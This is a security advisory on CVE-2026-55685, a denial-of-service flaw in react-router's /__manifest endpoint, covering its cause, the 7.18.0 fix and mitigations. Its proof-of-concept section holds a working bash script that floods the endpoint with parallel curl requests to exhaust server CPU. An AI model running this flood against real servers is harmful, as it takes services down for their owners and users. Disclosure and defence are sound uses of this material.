highCVE-2026-55685Jul 24, 2026

CVE-2026-55685: react-router Unauthenticated DoS via Inefficient Route Matching on Manifest Endpoint

Shubham Kandhare
Security Engagement Manager, SecureLayer7

Unauthenticated attackers can send crafted requests to the React Router manifest endpoint to repeatedly trigger expensive route-regex compilation, causing severe CPU load and degraded response times…

Packagereact-router
Ecosystemnpm
Affected>= 7.0.0, < 7.18.0
Fixed in7.18.0
CVE-2026-55685: react-router Unauthenticated DoS via Inefficient Route Matching on Manifest Endpoint

The problem

React Router Framework Mode exposes a /__manifest endpoint used by Lazy Route Discovery. This endpoint accepts a paths query parameter and internally calls matchRoutes for each supplied path.

Before 7.18.0, route path regexes were recompiled on every matchRoutes invocation rather than being precomputed once. An unauthenticated attacker flooding the endpoint with many unique path values could force O(n * routes) regex compilations per request, exhausting server CPU without any authentication.

Proof of concept

A working proof-of-concept for CVE-2026-55685 in react-router, with the exact payload below.

bash
# Send a flood of requests with many unique path values to saturate CPU.
# Each paths[] entry triggers a full matchRoutes pass with fresh regex compilation.
# Run in parallel (e.g. with GNU parallel or a loop) for denial-of-service effect.

curl -s 'https://target.example.com/__manifest?paths=%2Fa%2Fb%2Fc%2Fd%2Fe%2Ff%2Fg%2Fh%2Fi%2Fj&paths=%2Fz%2Fy%2Fx%2Fw%2Fv%2Fu%2Ft%2Fs%2Fr%2Fq&paths=%2F1%2F2%2F3%2F4%2F5%2F6%2F7%2F8%2F9%2F10&paths=%2Faa%2Fbb%2Fcc%2Fdd%2Fee%2Fff%2Fgg%2Fhh%2Fii%2Fjj' &

# Repeat in a tight loop:
for i in $(seq 1 500); do
  curl -s 'https://target.example.com/__manifest?paths=%2Fa%2Fb%2Fc%2Fd%2Fe%2Ff&paths=%2Fg%2Fh%2Fi%2Fj%2Fk%2Fl&paths=%2Fm%2Fn%2Fo%2Fp%2Fq%2Fr' &
done
wait

The root cause is inefficient algorithmic complexity (CWE-407) in the manifest request handler. Before 7.18.0, every call to matchRoutes re-created compiled regex matchers for every route branch, meaning cost scaled with (number of paths in request) * (number of application routes) * (regex compilation time) per request.

PR #15186 (commit 09e6020) fixes this by precomputing and caching route branch matchers once at startup. Subsequent matchRoutes calls reuse the cached matchers, reducing per-request cost to a cheap lookup. A companion change in PR #15068 also disables the /__manifest route entirely when lazy route discovery is turned off, shrinking the attack surface further.

This is a follow-up to CVE-2026-42342 (GHSA-8x6r-g9mw-2r78), which patched unbounded path expansion in the same handler but left the regex recompilation path open under additional request patterns.

The fix

Upgrade react-router to 7.18.0 or later. If an immediate upgrade is not possible, rate-limit or block unauthenticated requests to /__manifest at your WAF or reverse proxy, and restrict the maximum query-string length. You can also set lazyRouteDiscovery: false in your react-router.config.ts to disable the manifest endpoint entirely, at the cost of losing progressive route loading.

This vulnerability only affects Framework Mode; Declarative Mode and Data Mode are not affected.

Reporter not attributed.

References: [1][2][3][4][5][6]

Related research